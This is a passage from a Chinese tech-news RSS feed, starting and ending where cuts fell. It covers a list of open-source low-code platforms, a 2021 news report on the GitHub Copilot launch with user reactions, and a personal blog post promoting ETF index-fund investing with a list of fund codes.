src="https://oscimg.oschina.net/oscnet/up-557d363df9b89ece2e712794033874a7968.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fopexava-low-code%2F" target="_blank"&gt;OpenXava&lt;/a&gt; 是一个低代码应用程序构建平台，主要关注生产力、简单性和可用性。作为一个使用 Java 技术构建的跨平台系统，它运行在 Linux 和 Windows 服务器上。它可能看起来像一个遗留系统（stated 2005），但它仍然是许多企业的首选。&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fopexava-low-code%2F" target="_blank"&gt;OpenXava&lt;/a&gt; 确保了高生产力、较短的功能学习曲线、大量的企业功能以及完整的移动和平板电脑响应式布局。  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fopexava-low-code%2F" target="_blank"&gt;OpenXava&lt;/a&gt; 是一个免费的开源社区版，但企业可以购买不同的额外功能版本。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.openxava.org%2Fen%2Fate%2Flow-code-development-platform" target="_blank"&gt;https://www.openxava.org/en/ate/low-code-development-platform&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;9、Convertigo&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-67969a304116a6ac4b023baf9f79aafac6c.JPEG"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fconvertigo-low-code%2F" target="_blank"&gt;Convertigo&lt;/a&gt; 是无代码和低代码平台的混合体。它旨在帮助公民开发人员和认真的开发人员在短时间内创建企业级应用程序和工具。为开发人员提供本地安装、云版本和 MBaaS 版本。它具有移动构建器工具、可视化拖放 UI、低代码后端、REST/XML 转换器、REST/JSON 转换器、管理控制台等。&lt;/p&gt; &lt;p&gt;Convertigo 提供完整的 PWA（渐进式 Web 应用程序）、iOS 和 Android 移动开发支持。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.convertigo.com%2F" target="_blank"&gt;https://www.convertigo.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;10、Tymly&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-d70941183dc1e58dfb7026110b6be4c834e.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Ftymly-low-code%2F" target="_blank"&gt;Tymly&lt;/a&gt; 是一个业务优先的低代码平台，用于创建可扩展的服务器应用程序。它是在 MIT 许可下作为开源项目发布的。&lt;/p&gt; &lt;p&gt;Tymly 引入了蓝图概念，将业务流程、功能和工作流封装到蓝图中。它有一个生态系统和蓝图存储，可以保护大量的开发资源。蓝图保存在 JSON 模式中，而数据保存在 PostgreSQL 数据库中。开发人员可以通过在 JSON 模式中定义他们的需求、业务功能和工作流来编写他们的蓝图。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Ftymly-low-code%2F" target="_blank"&gt;https://medevel.com/tymly-low-code/&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fwmfs%2Ftymly%2F" target="_blank"&gt;https://github.com/wmfs/tymly/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;11、JUDO&lt;/h4&gt; &lt;p&gt;JUDO.codes 是另一个面向企业使用的低代码平台。在数据建模、UI 设计和开发方面，JUDO 为开发人员提供了比此列表中其他低代码平台更大的灵活性。&lt;/p&gt; &lt;p&gt;JUDO 可用于 Windows、macOS 和 Linux 的可安装包和二进制应用程序包。（* macOS 安装程序即将推出）。&lt;/p&gt; &lt;p&gt;JUDO.code 门户为新手提供了丰富的文档和一套教程。它还提供了广泛的用户指南以及应用程序平台的安装说明。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.judo.codes%2F" target="_blank"&gt;https://www.judo.codes/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;12、OpenCatapult&lt;/h4&gt; &lt;p&gt;OpenCatapult 是一个开源的低代码 DevOps 自动化平台。它通过动态管理自动化的例行任务，帮助 DevOps 和服务器管理员更好地控制他们的服务器。&lt;/p&gt; &lt;p&gt;不过，OpenCatapult 仅适用于 Windows x64 平台，但开发人员正在计划在不久的将来发布 Linux 和 macOS 版本。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2FPolyrific-Inc%2FOpenCatapult%2F" target="_blank"&gt;https://github.com/Polyrific-Inc/OpenCatapult/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;13、BudiBase&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-da7d8073c5908a3e81cb307c9cf92ff6f11.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;BudiBase 不仅仅是另一个低代码平台，它与这里的其他平台有着不同的目标，因为它专注于为开发人员提供工具，以加快一个平台内的开发、部署和集成过程。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2FBudibase%2Fbudibase" target="_blank"&gt;https://github.com/Budibase/budibase&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;14、Generative Objects（GO）Platform&lt;/h4&gt; &lt;p&gt;Go Platform  是一家法国公司，致力于企业低代码开发平台。侧重于更好地控制应用程序生命周期、开发人员之间的协作，以及与其他平台、桌面、移动和 Web 开发的软件集成。&lt;/p&gt; &lt;p&gt;Go Platform 采用基于模型的应用程序开发方法，在专注于解决方案而非工具时节省时间、金钱和精力。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.generativeobjects.com%2F" target="_blank"&gt;https://www.generativeobjects.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;15、Baserow&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-603573200d03da99dd880e8f5a58a5f8d67.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fbaserow%2F" target="_blank"&gt;Baserow&lt;/a&gt; 是一种用于动态创建、管理数据库和构建数据库应用程序的迷人工具。它具有确保高生产力和可用性的功能。&lt;/p&gt; &lt;p&gt;因为   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fbaserow%2F" target="_blank"&gt;Baserow&lt;/a&gt; 是一个模块化系统，它提供了一个完整的 REST-API 无头系统，所以它吸引了移动开发人员的注意，将其用作他们应用程序的后端。Baserow 正在积极开发中。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgitlab.com%2Fbramw%2Fbaserow" target="_blank"&gt;https://gitlab.com/bramw/baserow&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;16、OS.bee&lt;/h4&gt; &lt;p&gt;OS.bee 是一个免费的企业开源平台，它将低代码和无代码与模型驱动的应用程序开发策略相结合。该平台由一家专业打造企业ERP系统30多年的公司打造。&lt;/p&gt; &lt;p&gt;OS.bee 提供了用于创建应用程序数据模型的可视化模型和图表构建器。该系统是用 Java 创建的，并提供 Eclipse 安装和集成。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.osbee.org%2Fhome%2F" target="_blank"&gt;https://www.osbee.org/home/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;17、nuBuilder&lt;/h4&gt; &lt;p&gt;nuBuilder 是一个免费的开源 RAD（快速应用程序开发），用于在几分钟内构建企业数据库应用程序。它是自托管的、低代码的，具有高度可定制的后端系统。它使用 PHP、HTML 和 JavaScript 和 MySQL 数据库。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fwww.nubuilder.com%2F" target="_blank"&gt;https://www.nubuilder.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;h4&gt;18、Metabase&lt;/h4&gt; &lt;p&gt;  &lt;img alt="" src="https://oscimg.oschina.net/oscnet/up-c5a6a2a4b7b05f7fba11e285116c11e49af.png"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fmetabase-low-code%2F" target="_blank"&gt;Metabase&lt;/a&gt; 是一个开源的面向数据的可定制仪表板，支持广泛的数据库后端，如 MongoDB、MySQL、PostgreSQL、SQL Server、Oracle 等。它提供了一个用于管理数据库记录、操作数据、操作记录的可视化方法、支持连接、多重聚合、高级过滤和全文搜索的层。它是在几分钟内为企业创建具有高生产力和可用性的高效数据库就绪仪表板的终极解决方案。&lt;/p&gt; &lt;p&gt;Metabase 包含令人惊叹的视觉小部件，其中包括：图表、地图、SVG 矢量地图、分析以及为用户、开发人员和 DevOps 提供的丰富的详细文档。&lt;/p&gt; &lt;p&gt;  &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fmetabase-low-code%2F" target="_blank"&gt;在此处查看整个功能列表&lt;/a&gt;：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fmedevel.com%2Fmetabase-low-code%2F" target="_blank"&gt;https://medevel.com/metabase-low-code/&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://www.oschina.net/action/GoToLink?url=https%3A%2F%2Fgithub.com%2Fmetabase%2Fmetabase" target="_blank"&gt;https://github.com/metabase/metabase&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
     
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/61588-top-%E5%BC%80%E6%BA%90-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Sat, 03 Jul 2021 23:07:00 CST</pubDate>
    </item>
    <item>
      <title>和AI结对编程！OpenAI与GitHub联手推出AI代码生成工具，比GPT-3更强大</title>
      <link>https://itindex.net/detail/61579-ai-%E7%BB%93%E5%AF%B9%E7%BC%96%E7%A8%8B-openai</link>
      <description>&lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc246e7e2c8.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;作者 | 琰琰、青暮&lt;/p&gt; &lt;p&gt;比GPT-3更强大！&lt;/p&gt; &lt;p&gt;昨日，微软与OpenAI共同推出了一款AI编程工具GitHub Copilot，这款工具基于GitHub及其他网站的源代码，可根据上文提示为程序员自动编写下文代码！&lt;/p&gt; &lt;p&gt;GitHub 的首席执行官 Nat Friedman 介绍说，GitHub Copilot是结对编程的虚拟版本。结对编程是一种常见的敏捷软件开发技术——即两个开发人员在同一个项目上并肩协作，轮流编写代码并检查合作伙伴的输出。&lt;/p&gt; &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc246f1ee65.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;  &lt;br /&gt;&lt;/p&gt; &lt;p&gt;“它可以在编辑器中直接获提供多行或整个函数的代码建议。另外，随着时间的推移和使用量的增加，模型会变得越来越复杂，代码质量也会越来高。”&lt;/p&gt; &lt;p&gt;对于程序员来讲，一款编程工具最重要的当然是支持哪些类型语言。GitHub在预告中说，Copilot 可以支持十几种语言，与 Python、JavaScript、TypeScript、Ruby 和 Go 等主流语言配合效果更佳。&lt;/p&gt; &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc246fdfca5.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;目前GitHub官网已经晒出了 Copilot 的功能介绍，我们来了解一下。&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;strong&gt;1&lt;/strong&gt; &lt;br /&gt; &lt;p&gt;  &lt;strong&gt;给力的结对编程伙伴&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;GitHub表示，相比大多数代码助手，GitHub Copilot可以理解更大范围的上下文。因此，无论是文档字符串、注释、函数名称还是代码本身，GitHub Copilot 都可以基于提供的上下文（已输入的代码）合成新代码以进行匹配。&lt;/p&gt; &lt;p&gt;如果真有如此可靠，那么正如GitHub所说，这项功能可以让程序员丢掉很多的文档阅读工作，从而专注于编辑器。&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc247065703.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;GitHub Copilot还可以将注释转换为代码。只需要写一条评论，描述想要的逻辑，GitHub Copilot 就能自动“理解”并写出相应功能的代码。  &lt;br /&gt;&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc247131b9d.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;GitHub Copilot 也能自动填充重复代码。GitHub表示，GitHub Copilot 非常适合快速生成样板和重复代码模式。对于需要编写大量相似但难以转换为循环语句代码的程序员而言，这项功能非常“香”。  &lt;br /&gt;&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc2471edd71.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;包办测试也是GitHub Copilot值得注意的亮点，GitHub表示，测试是任何强大的软件工程项目的支柱，“导入单元测试包，就可以让 GitHub Copilot 自动编写与你的实现代码匹配的测试。”  &lt;br /&gt;&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc2472af6fd.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;对于相同的上下文，GitHub Copilot可以给出多种解决方案，供程序员自主选择。  &lt;br /&gt;&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc247379732.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;看到这里，小伙伴们是不是跃跃欲试了呢？可惜，GitHub Copilot不是完全开放的，和GPT-3一样，只提供有限用户的试用体验。总之，先排队吧。  &lt;br /&gt;&lt;/p&gt; &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc2473ef559.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;项目地址：https://copilot.github.com/&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;strong&gt;2&lt;/strong&gt; &lt;br /&gt; &lt;p&gt;  &lt;strong&gt;Copilot，专为编程而生&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Brockman介绍说，GitHub Copilot的核心模型Codex借助了GPT-3强大的生成能力。&lt;/p&gt; &lt;p&gt;我们知道，GPT-3是OpenAI推出的超大规模自然语言生成模型，早期训练GPT-3时，OpenAI无意教它如何帮助编写代码，它更像是一种通用语言模型，主要用于文本生成、语法修改等任务。&lt;/p&gt; &lt;p&gt;后来OpenAI向公众开放API，这个基于文本训练的模型，被网友们玩出了50多种花样，其中包括自动生成代码。OpenAI意识到了GPT-3在编写代码方面的潜力，并在其网站上提供了在线“代码生成”服务。&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc2474c53be.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;几十年来，微软的研究人员一直在尝试如何教计算机编写代码，但未取得显著成果。此次与OpenAI合作，微软将提供了强大 Azure 云计算能力和GitHub平台（2018年被微软收购）的大量语言编程代码。&lt;/p&gt; &lt;p&gt;关于这款产品的代码生成质量，Friedman说，GitHub员工已经做了大量尝试，能够确保GitHub Copilot生成安全、高质量的代码。他说：“我们已经在系统中建立了一些安全机制，这些机制在减少各个领域能够显著减少出错几率。”也就是说，GitHub Copilot并不能保证完全不出错，它仍然只是一个辅助生成代码工具。&lt;/p&gt; &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc2475a2c09.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt; &lt;p&gt;官网报道说，Copilot的底层技术属于微软和OpenAI共有，今年夏天OpenAI将发布Codex模型，供第三方开发者使用。微软也表示会发布该产品的一个版本，让企业通过培训了解自己的编程风格。但目前，微软只提供公共存储库中存储的代码的服务。&lt;/p&gt; &lt;p&gt;这不是微软第一次依靠OpenAI来提供智能软件。上个月，微软展示了powerapps Studio应用程序的更新服务，非技术人员可以使用它来编写应用程序——用户输入他们想要添加的元素单词，GPT-3可提供一些必要代码的选项。&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;strong&gt;3&lt;/strong&gt; &lt;br /&gt; &lt;p&gt;  &lt;strong&gt;网友讨论&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;GitHub Copilot的发布在Reddit上引发了热烈的讨论，不少网友看好编码自动化的产业趋势，网友@markbowick说道：&lt;/p&gt; &lt;blockquote&gt;  &lt;p&gt;毫无疑问，这将极大地提高大多数程序员的日常编程生产力，并且（我认为）这将是推动全球软件影响呈指数增长的最重要步骤之一。&lt;/p&gt;  &lt;p&gt;值得注意的是，GPT-J（GPT-3 较小模型之一的开源实现）在大量 GitHub 和 StackExchange 查询存储库上进行了训练，并且在特定编程相关任务上的表现明显优于 OpenAI 的其它模型。在接下来的几个月里，我预期会看到性能更好的类似的（更大）模型。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc24766837b.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;也有人提出了质疑，网友@laprika0表示，GitHub Copilot的测试方法令人担忧，“让 GitHub Copilot 建议与你的实现代码匹配的测试，但人们并不应该以这种方式写测试。”不少网友表示同意，并补充道，“如果实现代码有错误，那么GitHub Copilot将把错误引入测试中，从而影响测试效果。”&lt;/p&gt; &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc2476cf032.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;还有人则注意到关于代码所有权的问题，OpenAI发表了一项声明，表示用户使用GitHub Copilot写代码时，代码片段和建议结果将与 GitHub 和 OpenAI 共享，并用于诊断目的和改进建议。同时，为保护隐私，GitHub Copilot 不会使用用户的私有代码来为 GitHub Copilot 的其他用户推荐代码。&lt;/p&gt; &lt;p&gt;网友@touristtam对此声明感到困惑，“他们是否拥有在用户启用GitHub Copilot时编写的代码？”&lt;/p&gt; &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc24775e34c.png?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;p&gt;参考链接：&lt;/p&gt;https://www.cnbc.com/2021/06/29/microsoft-github-copilot-ai-offers-coding-suggestions.htmlhttps://venturebeat.com/2021/06/29/github-launches-copilot-to-power-pair-programming-with-ai/https://www.reddit.com/r/MachineLearning/comments/oaambv/n_github_and_openai_release_copilot_an_ai_pair/ &lt;p&gt;  &lt;img src="https://static.leiphone.com/uploads/new/sns/blogSpe/article/202106/60dc24781b24d.jpg?imageMogr2/format/jpg/quality/90"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;雷锋网雷锋网雷锋网&lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>人工智能学术</category>
      <guid isPermaLink="true">https://itindex.net/detail/61579-ai-%E7%BB%93%E5%AF%B9%E7%BC%96%E7%A8%8B-openai</guid>
      <pubDate>Wed, 30 Jun 2021 16:02:00 CST</pubDate>
    </item>
    <item>
      <title>投资ETF指数基金，一定要看这篇（附ETF代码大全）</title>
      <link>https://itindex.net/detail/61571-%E6%8A%95%E8%B5%84-etf-%E6%8C%87%E6%95%B0%E5%9F%BA%E9%87%91</link>
      <description>&lt;p&gt;巴菲特在1993年致股东信中写道：“如果一个投资者对任何行业和企业都一无所知的话，但对美国整体经济前景很有信心，并且如果愿意长期投资的话，那么你应该广泛的分散化投资，你应该分散持有大量不同的公司股份，并且分期分批次购买。&lt;strong&gt;最简单的方法就是通过定期投资指数基金，一个什么都不懂的业余投资者竟然往往能够战胜大部分专业投资者。&lt;/strong&gt;”&lt;/p&gt;&lt;p&gt;而在2007年巴菲特发起了一个10年赌局：对冲基金的基金经理选择任何基金组合，十年的收益都不会超过标普500指数基金的收益。十年过去了，在2017年12月31日，标普500以125.8%的收益完爆参与挑战的泰德·西德斯的8.5%。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;什么？指数基金收益一般般？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;如果你在2013年9月30日消费ETF（159928）刚上市时候投资100万，那么到今天你的收益超过600万，年化收益率高达25%。试问，在A股上，有几个基金经理能超过你？这个收益也秒杀巴菲特的21%年化收益率。&lt;/p&gt;&lt;p&gt;&lt;img class="ke_img" src="https://xqimg.imedao.com/17a4bb31bfa46f3b3fbe359e.png!custom660.jpg" &gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;如果你在2013年5月31日纳斯达克100（513100）刚上市的时候投资100万，那么到今天你的收益超过500万，如果中间大幅调整时候你还能追加投资，那么你的年化收益率高达26%以上，试问，中国3000多名基金经理，这8年的收益，有几个能超过你？更不要说A股1亿名投资者了。&lt;/p&gt;&lt;p&gt;&lt;img class="ke_img" src="https://xqimg.imedao.com/17a4bb3949846e993fe733d5.png!custom660.jpg" &gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;要知道，不管你是投资消费ETF还是纳指ETF，取得的这些惊人的收益你仅仅是买入拿着即可！你不用去调研各个企业，你不用操心东阿阿胶能不能困境反转，你不用担心谁谁谁财务造假，你不用担心反垄断会不会把阿里、腾讯、美团干死，你更不用担心它会退市。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;本人不才，在2018年初入市后就一直投资ETF指数基金，&lt;strong&gt;到今天总收益45%，换算成年化收益为：13%。这个成绩当然比不上球球上动不动翻倍的收益，但是这是在2018年单边大跌的大熊市中过来的。如果不算2018年，从2019年到2021年这三年，我的收益高达100%。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img class="ke_img" src="https://xqimg.imedao.com/17a4bb40e6046ff93fd73f10.png!custom660.jpg" &gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2018年全年单边大跌，但是我的收益也跑赢了深证和创业板&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img class="ke_img" src="https://xqimg.imedao.com/17a4bb47978478373fc414df.png!custom660.jpg" &gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2019年全年收益30.31%，跑赢上证指数&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img class="ke_img" src="https://xqimg.imedao.com/17a4bb4dc41476343feafc89.png!custom660.jpg" &gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2020年全年收益16.02%，我承认比起球球上众多股神，我可能是最不起眼的一个&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img class="ke_img" src="https://xqimg.imedao.com/17a4bb5444146ffa3fdd5d8f.png!custom660.jpg" &gt;&lt;/p&gt;&lt;p&gt;2021年，在大盘大幅度震荡后，我还有4.78%的收益。我看到去年的“股神”今年都鬼哭狼嚎。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;我觉得我们A股90%以上的散户都不具备分析企业和选股的能力，如果你想参与分享中国发展红利并且逃脱“一赢二平七亏”的魔咒，那么定投指数基金就是你的最好的选择。&lt;/strong&gt;&lt;/p&gt;&lt;h4&gt;以下是场内ETF全收录版！一定要收藏！&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;A股宽基指数ETF：&lt;/h4&gt;&lt;p&gt;1.上证50ETF：510050&lt;/p&gt;&lt;p&gt;2.&amp;nbsp;深100ETF：159901&lt;/p&gt;&lt;p&gt;3.创业板50：159949&lt;/p&gt;&lt;p&gt;4.沪深300ETF：510300&lt;/p&gt;&lt;p&gt;5.中证500ETF：510500&lt;/p&gt;&lt;p&gt;6.中证1000ETF：512100&lt;/p&gt;&lt;p&gt;7.科创50ETF：588000&lt;/p&gt;&lt;p&gt;8.H股ETF：510900&lt;/p&gt;&lt;p&gt;长期持有的话，我建议投资沪深300、创业板50，因为沪深300、创业板50平均ROE在13-16%之家，长期投资的收益大约等于ROE。科创板50因为波动大，可以做波段。中证500可以做网格交易，不适合长期持有。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;香港恒生宽基指数ETF：&lt;/h4&gt;&lt;p&gt;1.恒生ETF：159920&lt;/p&gt;&lt;p&gt;2.香港证券ETF：513090&lt;/p&gt;&lt;p&gt;3.恒生医疗ETF：513060&lt;/p&gt;&lt;p&gt;4.恒生科技指数ETF：513180&lt;/p&gt;&lt;p&gt;5.恒生互联网ETF：513330&lt;/p&gt;&lt;p&gt;6.港股消费&amp;nbsp;：159735&lt;/p&gt;&lt;p&gt;7.恒生国企&amp;nbsp;：159960&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;外盘宽基指数ETF：&lt;/h4&gt;&lt;p&gt;1.纳指ETF：513100&lt;/p&gt;&lt;p&gt;2.中概互联网ETF：513050&lt;/p&gt;&lt;p&gt;3.日经ETF：513520&lt;/p&gt;&lt;p&gt;4.法国CAC40ETF：&amp;nbsp;513080&lt;/p&gt;&lt;p&gt;5.德国30ETF：&amp;nbsp;513030&lt;/p&gt;&lt;p&gt;我个人非常喜欢外盘指数，尤其是纳斯达克和中概互联，我指数基金账户也是重仓这两只。纳斯达克100的平均ROE高达26%，这个指数适合在大幅度调整时候一次性买进，比如2020年因为疫情美股熔断时候，最低才有3元，持有一年也有100%左右的收益。中概互联（513050）重仓腾讯和阿里，平均ROE在20%，非常适合长期价值投资。因反垄断，最近中概互联进入低估区域，可以一次性重仓买，也可以逢低定投。长期来说，收益也非常好。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大金融行业指数基金：&lt;/h4&gt;&lt;p&gt;1.证券ETF：512880&lt;/p&gt;&lt;p&gt;2.银行ETF：512800&lt;/p&gt;&lt;p&gt;3.金融ETF：510230&lt;/p&gt;&lt;p&gt;证券ETF因为长期上下波动，而且波动幅度也可观，非常适合做网格交易，制定好网格交易计划，股市就是你的提款机。银行ETF是可以作为养老配置的，稳健，分红可观。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;大医药行业指数基金：&lt;/h4&gt;&lt;p&gt;1.医药ETF：512010&lt;/p&gt;&lt;p&gt;2.医疗ETF：512170&lt;/p&gt;&lt;p&gt;3.创新药：159992&lt;/p&gt;&lt;p&gt;在医药行业中，最适合投资指数基金，因为不管是创新药还是医疗，市场前景非常好，但是因为竞争比较大，投资个股风险就很大。今年三月份，通策医疗直接腰斩，作为个人投资者，很难抗住这么大的波动的。医药医疗也非常适合长期投资者，因为他们的ROE也普